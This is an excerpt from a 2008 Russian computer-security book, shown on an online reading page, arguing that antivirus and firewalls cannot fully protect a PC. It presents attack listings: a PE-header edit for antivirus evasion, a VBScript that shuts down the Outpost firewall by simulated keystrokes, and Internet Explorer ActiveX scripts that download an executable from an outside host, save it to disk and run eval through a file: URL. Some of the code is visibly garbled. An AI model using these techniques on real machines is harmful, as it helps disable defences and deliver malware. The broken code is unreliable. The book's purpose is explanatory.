Защити свой компьютер на 100% от вирусов и хакеров. Олег Михайлович Бойцев

Читать онлайн.
Название Защити свой компьютер на 100% от вирусов и хакеров
Автор произведения Олег Михайлович Бойцев
Жанр Компьютеры: прочее
Серия
Издательство Компьютеры: прочее
Год выпуска 2008
isbn 978-5-388-00347-8



Скачать книгу

оказался беспомощным против нового упаковщика (упаковщик EXE-файлов, позволяющий скрыть исходный код вируса от антивирусной программы), к тому же PE-заголовок (часть EXE-файла, отвечающая за исполнение; в данном случае редактирование PE-заголовка выполнено с целью усложнения обнаружения антивирусом) вируса был мастерски отредактирован (листинг 1.3).

      Листинг 1.3. Некоторый учебный пример модификации PE-заголовка

      _PtchImSz:

      mov eax, [esi + 0Ch] ; VirtualRVA(Last section)

      add eax, [esi + 08h] ; VirtualSize(Last section)

      mov [edi + 50h], eax

      Вариант 5. «Зараза» успела отключить антивирус раньше, чем он ее обнаружил.

      Эпикриз. Абсолютной защиты нет. Существующие варианты малоэффективны, занимают много времени и не способны обеспечить качественный уровень защиты.

      Брандмауэр

      Нужен ли нам брандмауэр?

      Вопрос, что ли, ну совсем смешной. Конечно же нужен! А как без него-то вообще? Брандмауэр – это первый рубеж, стоящий на страже нашей безопасности, и это уже знают даже школьники! Брандмауэр – это святое. Agnitum, Zone Alarm – кому что нравится.

      Итак, брандмауэр установлен и настроен. Можно ли сказать, что компьютер защищен?

      Вариант 1. На межсетевой экран был натравлен новый эксплоит (программа, эксплуатирующая уязвимость), после чего «огненная стена» превратилась в дымящуюся дыру, а пароли выхода в Интернет стали достоянием «благочестивой общественности». В данном случае не важен механизм проникновения– идея в том, что практически ни один программный продукт не застрахован от уязвимостей. Следующий код на JavaScript (листинг 1.4) – лишь пример, но…

      Листинг 1.4. Просто выгружаем наш межсетевой экран (на примере Agnitum)

      set WShell = CreateObject("WScript.Shell")

      WShell.Exec " Files\Agnitum\Outpost Firewall\outpost.exe"

      WScript.Sleep 200

      WShell.AppActivate "Agnitum", TRUE

      WScript.Sleep 100

      WShell.SendKeys "{F10}{DOWN}{UP}{ENTER}"

      WScript.Sleep 100

      WShell.SendKeys "{ENTER}"

      ПРИМЕЧАНИЕ

      Большинство из приведенных примеров подобного рода распознаются антивирусами как самый настоящий "зло-код" (рис. 1.1)!

      Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня

      Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.

      Рис. 1.2. И опять наш «Касперский» оказался на высоте

      Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!

      <script>

      var x = new ActiveXObject("Microsoft.XMLHTTP");

      x.OpenC'GET', "http://www.example.com/1.exe", 0);

      x.Send();

      var s = new ActiveXObject("ADODB.Stream");

      s.Mode = 3;

      s.Type = 1;

      s.Open();

      s.Write(x.responseBody);

      s.SaveToFile("C:\\example.exe", 2);

      </script>

      <script language="javascript">

       function preparecode(code)

      { result = "";

      lines = code.split(/\r\n/);

      for (i=0; i<lines.length; i++) {

      line = lines[i];

      line = line.replace(/*\s+/,"");

      line = line.replace(/\s+$/,"");

      line = line.replace(/'/g,"\'");

      line = line.replace(/[\\]/g,"\\");

      line = line.replace(/[/]/g,"%2f");

      if (line != '') {

      result += line +'\\r\\n';

      }

      }

      return result;

      }

      function doit() {

      mycode = preparecode(document.all.code.value);

      myURL = "file:javascript:eval(" + mycode + "')";

      window.open(myURL, "_media");

      }

      setTimeout("doit()", 5000);

      </script>

      </html>

      Вариант